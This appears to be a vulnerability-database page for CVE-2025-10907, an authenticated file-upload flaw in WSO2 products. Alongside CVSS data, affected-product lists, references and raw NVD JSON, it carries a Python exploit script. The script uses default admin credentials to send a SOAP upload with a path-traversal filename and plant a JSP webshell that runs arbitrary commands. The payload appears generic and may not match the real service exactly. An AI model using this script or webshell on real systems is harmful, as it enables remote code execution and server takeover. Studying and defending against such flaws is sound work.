CVE-2025-10907

Description

An arbitrary file upload vulnerability exists in multiple WSO2 products due to insufficient validation of uploaded content and destination in SOAP admin services. A malicious actor with administrative privileges can upload a specially crafted file to a user-controlled location within the deployment. Successful exploitation may lead to remote code execution (RCE) on the server, depending on how the uploaded file is processed. By default, this vulnerability is only exploitable by users with administrative access to the affected SOAP services.

CVSS Details

CVSS Score

8.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wso2:api_control_plane:4.5.0:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:wso2:api_manager:3.1.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:wso2:api_manager:3.2.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:wso2:api_manager:3.2.1:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:wso2:api_manager:4.0.0:*:*:*:*:*:*:* - VULNERABLE

WSO2 Carbon 4.4.0及更高版本

WSO2 API Manager (所有基于Carbon 4.4.0+的版本)

WSO2 Identity Server (所有基于Carbon 4.4.0+的版本)

WSO2 Enterprise Integrator (所有基于Carbon 4.4.0+的版本)

其他基于WSO2 Carbon框架的产品

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2025-10907 PoC - WSO2 Arbitrary File Upload
# Note: This is for educational and authorized testing purposes only

import requests
import sys
from requests.auth import HTTPBasicAuth

TARGET_URL = "https://target-server:9443"
USERNAME = "admin"
PASSWORD = "admin"

# JSP webshell payload
WEBSHELL = """<%@ page import="java.util.*,java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os=p.getOutputStream();InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>"""

def exploit_file_upload():
    """Exploit arbitrary file upload via SOAP admin service"""
    headers = {
        'Content-Type': 'text/xml;charset=UTF-8',
        'SOAPAction': '""'
    }
    
    # SOAP request with malicious file upload
    soap_body = f"""<?xml version="1.0" encoding="UTF-8"?>
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                      xmlns:xsd="http://www.w3.org/2001/XMLSchema"
                      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <soapenv:Header/>
        <soapenv:Body>
            <xsd:uploadFile>
                <xsd:fileName>..\\..\\..\\webapps\\ROOT\\shell.jsp</xsd:fileName>
                <xsd:content><![CDATA[{WEBSHELL}]]></xsd:content>
            </xsd:uploadFile>
        </soapenv:Body>
    </soapenv:Envelope>"""
    
    endpoint = f"{TARGET_URL}/services/AdminService"
    
    try:
        response = requests.post(
            endpoint,
            data=soap_body,
            headers=headers,
            auth=HTTPBasicAuth(USERNAME, PASSWORD),
            verify=False,
            timeout=30
        )
        
        if response.status_code == 200:
            print("[+] File uploaded successfully!")
            print(f"[+] Access webshell at: {TARGET_URL}/shell.jsp?cmd=whoami")
        else:
            print(f"[-] Upload failed. Status: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    print("CVE-2025-10907 WSO2 Arbitrary File Upload Exploit")
    exploit_file_upload()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-10907
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-10907
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-10907/
[4] VulDB https://vuldb.com/cve/CVE-2025-10907
[5] https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2025/WSO2-2025-4603/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-10907", "sourceIdentifier": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "published": "2025-11-05T18:15:33.347", "lastModified": "2025-12-04T21:07:22.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file upload vulnerability exists in multiple WSO2 products due to insufficient validation of uploaded content and destination in SOAP admin services. A malicious actor with administrative privileges can upload a specially crafted file to a user-controlled location within the deployment.\n\nSuccessful exploitation may lead to remote code execution (RCE) on the server, depending on how the uploaded file is processed. By default, this vulnerability is only exploitable by users with administrative access to the affected SOAP services."}], "metrics": {"cvssMetricV31": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_control_plane:4.5.0:-:*:*:*:*:*:*", "matchCriteriaId": "DEEA7DB5-BBF7-44A4-9FB6-0D235A44C680"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "1344FB79-0796-445C-A8F3-C03E995925D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:3.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "E31E32CD-497E-4EF5-B3FC-8718EE06EDAD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:3.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "B58251E8-606B-47C8-8E50-9F9FC8C179BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "E21D7ABF-C328-425D-B914-618C7628220B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.1.0:-:*:*:*:*:*:*", "matchCriteriaId": "51465410-6B7C-40FD-A1AB-A14F650A6AC8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.2.0:-:*:*:*:*:*:*", "matchCriteriaId": "851470CC-22AB-43E4-9CC6-5E22D49B3572"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.3.0:-:*:*:*:*:*:*", "matchCriteriaId": "9EBAB99E-6F0F-4CE9-A954-E8878826304C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.4.0:-:*:*:*:*:*:*", "matchCriteriaId": "0B3E6207-B2CF-487C-9CB8-906248B665C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:api_manager:4.5.0:-:*:*:*:*:*:*", "matchCriteriaId": "D47B760D-5418-4FB0-88F0-3F78BAFF63E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:enterprise_integrator:6.6.0:*:*:*:*:*:*:*", "matchCriteriaId": "E4A07C73-3E6B-4CF9-BEB9-39C6081C0332"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:5.10.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4F126CA-A2F9-44F4-968B-DF71765869E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:5.11.0:*:*:*:*:*:*:*", "matchCriteriaId": "2153AECE-020A-4C01-B2A6-F9F5D98E7EBE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:6.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "32CE7893-AD1A-49E5-BD1A-5E9C2DEB8764"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:6.1.0:-:*:*:*:*:*:*", "matchCriteriaId": "EA76533A-5BED-4BDC-B348-EB3D3FDFB110"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:7.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "C1EFBD0F-9664-4EF3-9908-C72B1318F68F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:7.1.0:-:*:*:*:*:*:*", "matchCriteriaId": "A5358E6E-8C01-408D-8692-B1A326DC630F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server_as_key_manager:5.10.0:*:*:*:*:*:*:*", "matchCriteriaId": "6BB34405-A2F1-461A-B51B-E103BB3680A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:open_banking_am:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "94347800-04D2-48C4-ACF0-078A5ACBB063"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:open_banking_iam:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D7C241A3-8EA0-41E4-ABF3-21B9D8E7A5BE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wso2:traffic_m ... (truncated)